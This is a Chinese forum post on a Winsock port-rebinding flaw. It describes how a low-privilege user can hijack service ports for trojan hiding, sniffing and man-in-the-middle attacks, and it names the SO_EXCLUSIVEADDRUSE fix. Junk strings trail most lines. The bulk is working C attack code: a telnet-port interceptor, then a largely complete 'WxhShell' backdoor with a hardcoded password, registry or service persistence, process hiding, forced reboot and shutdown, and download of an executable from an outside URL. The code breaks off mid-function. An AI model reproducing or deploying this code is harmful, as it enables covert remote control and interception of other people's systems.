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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iveJh2!#<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xz!b@5DR'%  
1+wmR4o  
  saddr.sin_family = AF_INET; $7k"?M_  
>uHU3<2&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ./SDZ:5/  
4^4<Le-G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Udj!y$?  
fC6zDTis8A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z?T;2/_7  
6T*MKu  
  这意味着什么?意味着可以进行如下的攻击: ^y" #2Ov  
&Pk #v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yjcZTvjJ  
}le}Vuy\s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T!![7Rs  
c~1+5&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0PfjD  
'0\,waEu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Uk@du7P1k  
ky2n%<0]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'mwgHo<u  
Q,pnh!.-c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "==fWf  
=rL%P~0wq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W4MU^``   
`<Ry_}V  
  #include EJAk'L+nuH  
  #include S F:>dneB  
  #include Ax"]+pb  
  #include    @4)NxdOE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >* Ag0.Az  
  int main() !U 6q;' )-  
  { eyM<#3\\S  
  WORD wVersionRequested; /x2-$a:<  
  DWORD ret; =&%}p[ 3g  
  WSADATA wsaData; V47z;oMXct  
  BOOL val; TH[xSg  
  SOCKADDR_IN saddr; AW{"9f4  
  SOCKADDR_IN scaddr; .wH`9aq;5@  
  int err; zWs ("L(#s  
  SOCKET s; {C>E*qp}f  
  SOCKET sc; c{"=p8F_  
  int caddsize; {J&[JA\   
  HANDLE mt; ;?{[vLHDL  
  DWORD tid;   !841/TRb  
  wVersionRequested = MAKEWORD( 2, 2 ); +8xC%eE  
  err = WSAStartup( wVersionRequested, &wsaData ); != uaB.  
  if ( err != 0 ) { \v\f'eQ  
  printf("error!WSAStartup failed!\n"); {[I]pm~n  
  return -1; ey/{Z<D  
  } _%R]TlL  
  saddr.sin_family = AF_INET; { l0[`"EF  
   :P'M|U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1hTE^\W  
1]&FB{l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +,g3Xqs}X  
  saddr.sin_port = htons(23); }Qu kn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &':Ecmo~`  
  { $@Bd}35 J  
  printf("error!socket failed!\n"); -v@LJCK7I  
  return -1; ]z77hcjB1  
  }  cFD3  
  val = TRUE; rp&XzMwC4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 " ""k}M2A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) twWzS 4;  
  { * :kMv;9  
  printf("error!setsockopt failed!\n"); EvP\;7B  
  return -1; 5^5hhm4  
  } \rpXG9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;2y4^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =&K8~   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iNCT(N~.  
W9D~:>^YP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >%\&tS'  
  { &7J-m4BI  
  ret=GetLastError(); %&iodo,EP'  
  printf("error!bind failed!\n"); S+ 3l X7  
  return -1; u7/]Go44  
  } :pH3M[7  
  listen(s,2); WGwIc7  
  while(1) 1IPRI<1U  
  { '< .gKo  
  caddsize = sizeof(scaddr); {j8M78}3  
  //接受连接请求 [4 v1 N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yM2}J s C  
  if(sc!=INVALID_SOCKET) w}qLI4  
  { cjp~I/U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,f@\Fs~n  
  if(mt==NULL) xNd p]u  
  { Oq9E$0JW  
  printf("Thread Creat Failed!\n"); B&+)s5hh  
  break; dW5@Z-9  
  } ,;@v Vm'}  
  } FP<mFqy  
  CloseHandle(mt); 1/ 3<u::  
  } _C3O^/<n4V  
  closesocket(s); jO0"`|(]s  
  WSACleanup(); PcQ\o>0")  
  return 0; fW w+'xF!  
  }   l`<1Y|  
  DWORD WINAPI ClientThread(LPVOID lpParam) egmNX't6f5  
  { yZV Y3<]  
  SOCKET ss = (SOCKET)lpParam; r"|UgCc  
  SOCKET sc; 5AbY 59  
  unsigned char buf[4096]; XiM d|D  
  SOCKADDR_IN saddr; Q?2Gw N  
  long num; 8-"D.b4  
  DWORD val; ]~:WGo=_  
  DWORD ret; a@S{ A5j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Kw7uUJR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [G",Yky  
  saddr.sin_family = AF_INET; 3;JF 5e\?x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .TM. v5B  
  saddr.sin_port = htons(23); 2Krh&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6z5wFzJv?q  
  { F};T<#  
  printf("error!socket failed!\n"); 7n)ob![\d  
  return -1; ]++,7Z\AU  
  } ,m Nd#  
  val = 100; d{Cg3v`Rd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Oz4vV_a&'  
  { 0j :u.x  
  ret = GetLastError(); 6rMXv0)  
  return -1; TWM^5 L:U  
  } W#@6e')d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j#jwK(:]  
  { 7?;ZE:  
  ret = GetLastError(); P0/Ctke;  
  return -1; fuU 3?SG  
  } Z*+y?5+L"P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) < V*/1{  
  { Y?6}r;<  
  printf("error!socket connect failed!\n"); ^;sE)L6  
  closesocket(sc); bA1O]:`  
  closesocket(ss); >a;LBQ0  
  return -1; )UtK9;@"  
  } I|l5e2j  
  while(1) 9vP#/ -g  
  { '=`af>Nc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -(},%!-_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }9V0Cu1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^WrL   
  num = recv(ss,buf,4096,0); P(.XB`  
  if(num>0) ;@*<M\O  
  send(sc,buf,num,0); {%\@Z-9%q,  
  else if(num==0) *nK4XgD  
  break; lA` qB1x  
  num = recv(sc,buf,4096,0); d`,z4 _  
  if(num>0) l{gR6U{e  
  send(ss,buf,num,0); Kk,u{EA  
  else if(num==0) R=3|(R+kA  
  break; +K s3  
  } "rrw~  
  closesocket(ss); vm7ag 7@O  
  closesocket(sc); q|}O-A*wa  
  return 0 ; <TTBIXV  
  } A34O(fE  
-,Js2+QZ#  
~z(0XKq0d  
========================================================== nsM. `s@V  
%d%FI"!K  
下边附上一个代码,,WXhSHELL P]iJ"d]+X  
`oTV)J'~  
========================================================== HV'M31m~q  
::_bEmk  
#include "stdafx.h" icQQLSU5  
($Op*bR  
#include <stdio.h> 1#*^+A E  
#include <string.h> @ULd~  
#include <windows.h> di(H-=9G62  
#include <winsock2.h> JAM]neKiX  
#include <winsvc.h> 1\%@oD_zG  
#include <urlmon.h> vQGv4  
 6HPuCP  
#pragma comment (lib, "Ws2_32.lib") +4p=a [  
#pragma comment (lib, "urlmon.lib") ,|Gjr T{vf  
4s9.")G  
#define MAX_USER   100 // 最大客户端连接数 If]rg+|U  
#define BUF_SOCK   200 // sock buffer /'zXb_R,$  
#define KEY_BUFF   255 // 输入 buffer "sIww  
wwet90_g  
#define REBOOT     0   // 重启 gi>W&6  
#define SHUTDOWN   1   // 关机 0e07pF/!  
IEd?-L  
#define DEF_PORT   5000 // 监听端口 8;"9A  
}ik N  
#define REG_LEN     16   // 注册表键长度 g{ ;OgS3>  
#define SVC_LEN     80   // NT服务名长度 ,:#h;4!VRF  
%Eugy  
// 从dll定义API ;n.h!wmJ}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Nobu= Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g<ov` bF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "[rz*[o8I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &grvlK  
E,dUO;  
// wxhshell配置信息 #?`S+YN!q)  
struct WSCFG { _#Lq~02 %  
  int ws_port;         // 监听端口 ]t~'wL#Z  
  char ws_passstr[REG_LEN]; // 口令 Mnk-"d  
  int ws_autoins;       // 安装标记, 1=yes 0=no #|3,DZ|)F  
  char ws_regname[REG_LEN]; // 注册表键名 f~,Ml*Zp  
  char ws_svcname[REG_LEN]; // 服务名 l8J2Xd @   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ei>iXDt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JIjo^zOXsc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tqCwbi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4e?bkC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =.OzpV)=V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wsp c ;]&  
;" D~F  
}; +6}CNC9Mp  
*FC|v0D  
// default Wxhshell configuration >$yA ,N  
struct WSCFG wscfg={DEF_PORT, cW_l|  
    "xuhuanlingzhe", q!+:zZu  
    1, ]NtBP  
    "Wxhshell", 'r(g5H1}gi  
    "Wxhshell", ..k8HFz>"  
            "WxhShell Service", Kv:Rvo  
    "Wrsky Windows CmdShell Service", +sTPTCLE  
    "Please Input Your Password: ", = y(*?TZH  
  1, H+5+;`;  
  "http://www.wrsky.com/wxhshell.exe", I;1)a4Xc4R  
  "Wxhshell.exe" 2ga8 G4dU  
    }; SkC.A ?  
b#"&]s-  
// 消息定义模块 S>p0{:zM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v,8Q9<=O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AC 2kG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pr1bsrMuL  
char *msg_ws_ext="\n\rExit."; )pe17T1|  
char *msg_ws_end="\n\rQuit."; LE)$_i8gX  
char *msg_ws_boot="\n\rReboot..."; )Z|G6H`c3  
char *msg_ws_poff="\n\rShutdown..."; #d<|_  
char *msg_ws_down="\n\rSave to "; Xh}D_c  
:>o 0zG[;f  
char *msg_ws_err="\n\rErr!"; Fa\jVFIQ  
char *msg_ws_ok="\n\rOK!"; G,c2?^#n  
R/Z7}QW  
char ExeFile[MAX_PATH]; : 2$*'{mM  
int nUser = 0; C@\5%~tW+  
HANDLE handles[MAX_USER]; s[dIWYs#  
int OsIsNt; fBh/$    
@HSK[[?  
SERVICE_STATUS       serviceStatus; ;<;~;od*/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hF5T9^8  
{~j/sto-:  
// 函数声明 Ww\ WuaY  
int Install(void); }N).$  
int Uninstall(void); TI<3>R  
int DownloadFile(char *sURL, SOCKET wsh); n)Cr<^j  
int Boot(int flag); 7-Oa34ba+  
void HideProc(void); aG]^8`~>'  
int GetOsVer(void); }%jpqip  
int Wxhshell(SOCKET wsl); 1X`,7B@pz  
void TalkWithClient(void *cs); =kzp$ i  
int CmdShell(SOCKET sock); aJtpaW@  
int StartFromService(void); jN'h/\  
int StartWxhshell(LPSTR lpCmdLine); L, #|W  
'?Q"[e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); { o5^nd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~ iQBgd@D^  
](8F]J ,  
// 数据结构和表定义 1|!)*!hu  
SERVICE_TABLE_ENTRY DispatchTable[] = %l#X6jkt  
{ P,a9B2  
{wscfg.ws_svcname, NTServiceMain}, Q4/BpKL  
{NULL, NULL} ;Zj(**#H  
}; _Gaem"k|  
arRU`6?  
// 自我安装 w)RedJnf  
int Install(void) _Y/*e<bU  
{ HZ}Igw.Z  
  char svExeFile[MAX_PATH]; =J]EVD   
  HKEY key; *}';q`u }  
  strcpy(svExeFile,ExeFile); z*q+5p@~  
C2\WvE%!  
// 如果是win9x系统,修改注册表设为自启动 2/tx5Nc  
if(!OsIsNt) { osd oL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CY{!BV'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8O(L;&h  
  RegCloseKey(key); tLN^k;w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3 =c#LUA`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;m>/tD%  
  RegCloseKey(key); wfEL .h  
  return 0; ~e]B[>PT  
    } }&v-<qC^  
  } HwZl"!;Mry  
} HC1<zW[  
else { nCp_RJu  
e57R6g)4  
// 如果是NT以上系统,安装为系统服务 <|?)^;R5!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /':64#'  
if (schSCManager!=0) bJ1Nf|3~E  
{ TXXG0 G  
  SC_HANDLE schService = CreateService u0,QsD)_X0  
  ( )ZBNw{nh  
  schSCManager, g6P^JW}.  
  wscfg.ws_svcname, {^(uoB C/  
  wscfg.ws_svcdisp, j (Q# NFT7  
  SERVICE_ALL_ACCESS, OI"g-+~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~m,~;  
  SERVICE_AUTO_START, h(~/JW[  
  SERVICE_ERROR_NORMAL, )"hd"  
  svExeFile, -y|']I^ &  
  NULL, jAue+ tB  
  NULL, %#~wFW|]x  
  NULL, CDXN%~0h  
  NULL, T0"nzukd  
  NULL >3B {sn}  
  ); 7CSz  
  if (schService!=0) :@"o.8p   
  { Hm!"%  
  CloseServiceHandle(schService); ;~djbo0,X  
  CloseServiceHandle(schSCManager); 2#3`[+g<n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <H-kR\HF  
  strcat(svExeFile,wscfg.ws_svcname); MMC$c=4"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &z5?]`ALu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1%R${Qhr  
  RegCloseKey(key); D.%%D%AdB  
  return 0; &!O?h/&X3  
    } ZWGX*F#}P  
  } (VI(Nv:o@  
  CloseServiceHandle(schSCManager); Jr;w>8B),  
} )\VuN-d  
} sJ^Ff  
-64 ;P9:A>  
return 1; '[%Pdd]! E  
} 3`{;E{  
DEhR\Z!  
// 自我卸载 Ta/zDc"e  
int Uninstall(void) 2|i1}  
{ UF6U5],`u  
  HKEY key; ~*y7%L4B  
pY3/AO=  
if(!OsIsNt) { V9}\0joM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { );i J9+ V}  
  RegDeleteValue(key,wscfg.ws_regname); &qSf ~7/  
  RegCloseKey(key); n 3&h1-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O-)[!8r  
  RegDeleteValue(key,wscfg.ws_regname); wb(S7OsMO  
  RegCloseKey(key); s_RK x)w@  
  return 0; dhxzW@'nIL  
  } }~PG]A  
} `v)'(R7){  
} &8Vh3QLEx  
else { R@NFpiw  
Z:>3AJuS_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); | Z2_W/  
if (schSCManager!=0) `8O Bw  
{ [A {o"zY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Rs S:I6L  
  if (schService!=0) *y7 Yf7  
  { ^W%F?#ELN2  
  if(DeleteService(schService)!=0) { fQU_:[ Uz  
  CloseServiceHandle(schService); y( 22m+B  
  CloseServiceHandle(schSCManager); X"`[&l1  
  return 0; _z%~ m2SP  
  } bXc*d9]  
  CloseServiceHandle(schService); lX2:8$?X  
  } O43"-  
  CloseServiceHandle(schSCManager); l59 N0G  
} m-tn|m!J  
} btnD+O66<  
\),f?f-m  
return 1; u$zRm(!RB  
} tN4&#YK<  
y4|<+9<7  
// 从指定url下载文件 ^'tT_ gT  
int DownloadFile(char *sURL, SOCKET wsh) >@cBDS<6R  
{ zh=0zJ  
  HRESULT hr; @6+_0^  
char seps[]= "/"; dqQJC qc!  
char *token; 8d8jUPFQ  
char *file; _=`DzudE  
char myURL[MAX_PATH]; W.cc!8  
char myFILE[MAX_PATH]; $8&Y(`  
NvTK7? v  
strcpy(myURL,sURL); 8rlf9m  
  token=strtok(myURL,seps); cfv: Ld m  
  while(token!=NULL) E $\nb]JQ  
  { %O#zE-H"  
    file=token; L>g6 9D !  
  token=strtok(NULL,seps); 8EdaqF  
  } [bX ^_ Y  
dyf>T}Iy  
GetCurrentDirectory(MAX_PATH,myFILE); V6_":L"!  
strcat(myFILE, "\\"); >?ar  
strcat(myFILE, file);  q"T?  
  send(wsh,myFILE,strlen(myFILE),0); na9YlJ\  
send(wsh,"...",3,0); \<xo`2b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )16+Pm8  
  if(hr==S_OK) SDSP4W5  
return 0; tq~f9EvC  
else GhcH"D%-  
return 1; PZ'|)  
eg?p)|  
} fr04nl  
;vPFRiFK  
// 系统电源模块 4Y3@^8h&=  
int Boot(int flag) xhho{  
{ 0[<' ygu  
  HANDLE hToken; cV@^<  
  TOKEN_PRIVILEGES tkp; W+=j@JY}q9  
hS &H*  
  if(OsIsNt) { g@M5_I(W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <3N\OV2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j x< <h _j  
    tkp.PrivilegeCount = 1; o+ {i26%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '~f*O0_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ei+lVLoC  
if(flag==REBOOT) { ht6}v<x.eA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6(htpT%J  
  return 0; CKe72OC  
} VyYrL]OrA  
else { $6 Hf[(/e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t.RDS2N|  
  return 0; c2 :,  
} e&8Meiv+d  
  } NRP) 'E  
  else {  lFcHE c  
if(flag==REBOOT) { a_ [+id  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4Wa$>vz  
  return 0; l:u1P  
} "5FP$oR  
else { S5F5Tr;TN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {2 T:4i5  
  return 0; F=*t]X[z}  
} #hs&)6S f  
} Qh Rj*,  
HfP<hQmN'  
return 1; l?m 3 *  
} <_*5BO  
5&L*'kV@  
// win9x进程隐藏模块 'x? |tKzd  
void HideProc(void) 8dt=@pwx&  
{ mRyf+O[  
+jq@!P"}d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =^*EM<WG)  
  if ( hKernel != NULL ) ?y>v"1+  
  { a Iyzt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1B&XM^>/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sRcS-Yw[S  
    FreeLibrary(hKernel); B>d49(jy  
  } yHs9J1S f  
b%@9j;  
return; N.E{6_{S  
} n[y^S3}%;  
[9~EH8  
// 获取操作系统版本 UL&>]aQ  
int GetOsVer(void) ;$$w`LyP  
{ ds+2z=!!e  
  OSVERSIONINFO winfo; _(io8zqe{j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ' Gx\  
  GetVersionEx(&winfo); *M:p[.=1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !{(crfXB  
  return 1; QFhyidm=]  
  else Pd d(1K*  
  return 0; 3^q9ll7Op  
} YbWz!.WPe  
`-b{|a J  
// 客户端句柄模块 aYpc\jJ  
int Wxhshell(SOCKET wsl) C9k"QPE  
{ \7xc*v [  
  SOCKET wsh; yEJ3O^(F  
  struct sockaddr_in client; (~F}O  
  DWORD myID; ).u>%4=6  
g2LvojR  
  while(nUser<MAX_USER) GvA4.s,  
{ e,#5I(E  
  int nSize=sizeof(client); H D$`ZV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A93(} V7I  
  if(wsh==INVALID_SOCKET) return 1; LSXsq}  
5OO XCtIKf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,?%Y*?v  
if(handles[nUser]==0) )ytP$,r![S  
  closesocket(wsh); k@n L(2  
else "OkZ [E)  
  nUser++; ix?Z:pIS0  
  } rXTdhw?+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8/,s 8u  
} MP_  
  return 0; 3y:),;|5  
} ab)ckRC  
r,vSDHb`j  
// 关闭 socket I7'v;*  
void CloseIt(SOCKET wsh) KlBT9"6"  
{ l#+@!2z  
closesocket(wsh); |r+hj<K  
nUser--; >oEFuwE  
ExitThread(0); l#>A.-R*`  
} Sw[*1C8  
+Bt%W%_X  
// 客户端请求句柄 Sv>CVp*  
void TalkWithClient(void *cs) PIQd=%?'  
{ qla=LS\-A+  
yC|odX#  
  SOCKET wsh=(SOCKET)cs; w`#9Re  
  char pwd[SVC_LEN]; UA0( cK  
  char cmd[KEY_BUFF]; k4:=y9`R}$  
char chr[1]; bsI?=lO  
int i,j; YVz,P_\(m  
SST@   
  while (nUser < MAX_USER) { ^tjM1uaZ5(  
kqC7^x  
if(wscfg.ws_passstr) { S|yDGT1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dOg c%(kz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mwz!7Q   
  //ZeroMemory(pwd,KEY_BUFF); H6 $pA^  
      i=0; yB;K|MXy?  
  while(i<SVC_LEN) { =3 ;! 5P  
`VglE?M  
  // 设置超时 ~_-+Q=3  
  fd_set FdRead; {K/xI  
  struct timeval TimeOut; i5*/ZA_  
  FD_ZERO(&FdRead); !g~u'r'1  
  FD_SET(wsh,&FdRead); #Wv8+&n  
  TimeOut.tv_sec=8; uBM%E OE  
  TimeOut.tv_usec=0; 4QNwu7TeR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4!'4 l=jO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kO/;lrwC  
AVc|(~V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ipow Jw^  
  pwd=chr[0]; hrfSe$8  
  if(chr[0]==0xd || chr[0]==0xa) { &&96kg3  
  pwd=0; '0qKb*  
  break; S^i<_?nwg  
  } v:9Vp{)  
  i++; "#%9dWy  
    } k>\s6  
6?0QzSpfC#  
  // 如果是非法用户,关闭 socket cI <T/~P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c+1<3)Q<  
} U\YzE.G1]S  
g9=O<u#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #'y^@90R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N\hHu6  
h>|IA@;|f  
while(1) { _C$SaQty[Q  
79'N/:.  
  ZeroMemory(cmd,KEY_BUFF); dW|S\S'&  
5 ^tetDz}  
      // 自动支持客户端 telnet标准   H|;BT  
  j=0; 3J^'x  
  while(j<KEY_BUFF) { jrYA5>=>#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0IbR>zFg.  
  cmd[j]=chr[0]; oi^pU  
  if(chr[0]==0xa || chr[0]==0xd) { @CCDe`R*  
  cmd[j]=0; [Ue"#w  
  break; p,OB;Ncf/  
  } PV/hnVUl  
  j++; wF['oUwHH  
    } $\nAGmp@  
\!r,>P   
  // 下载文件 *;<oM]W_  
  if(strstr(cmd,"http://")) { F4&`0y:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iN+&7#x;/  
  if(DownloadFile(cmd,wsh)) "Za'K+4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {'f=*vMI  
  else MrS~u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %h=cwT6  
  } P# Z+:T  
  else { +[=%W  
{gS7pY%_W  
    switch(cmd[0]) { B%Z,Xjq  
  2&:w_KJ  
  // 帮助 E uk[ @1  
  case '?': { k'1i quc#u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SA -r61  
    break; Eg]tDPN1  
  } #)<WQZ)  
  // 安装 :c&F\Q=  
  case 'i': { pQBhheiM  
    if(Install()) 9%bqY9NFd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zT _[pa)O`  
    else 77zDHq=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Yw m_f-N  
    break; .RWKZB  
    } |z.Z='`  
  // 卸载 OQby=}A  
  case 'r': { zVtNT@1K>u  
    if(Uninstall()) tc)4$"9)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7E)*]7B%  
    else { daEKac5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <0^L L  
    break; ':?MFkYC  
    } =:7OS>x  
  // 显示 wxhshell 所在路径 |gJI}"T  
  case 'p': { <a$'tw-8  
    char svExeFile[MAX_PATH]; uI_h__  
    strcpy(svExeFile,"\n\r"); lEiOE]  
      strcat(svExeFile,ExeFile); ]`O??wN  
        send(wsh,svExeFile,strlen(svExeFile),0); #p|7\Y  
    break; 3Qoa ?*  
    } *bTR0U  
  // 重启 `1U?^9Nf  
  case 'b': { vKcc|#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZNTOI]P&  
    if(Boot(REBOOT)) ^ )[jBUT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H{fOAv1*  
    else { W*NK-F[  
    closesocket(wsh); ojy[<  
    ExitThread(0); $+Vp>  
    } pe7R1{2Q_s  
    break; DM)%=C6<  
    } -JB~yO?0  
  // 关机 a?X{k|;!7u  
  case 'd': { M}b[;/~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zjkrne{  
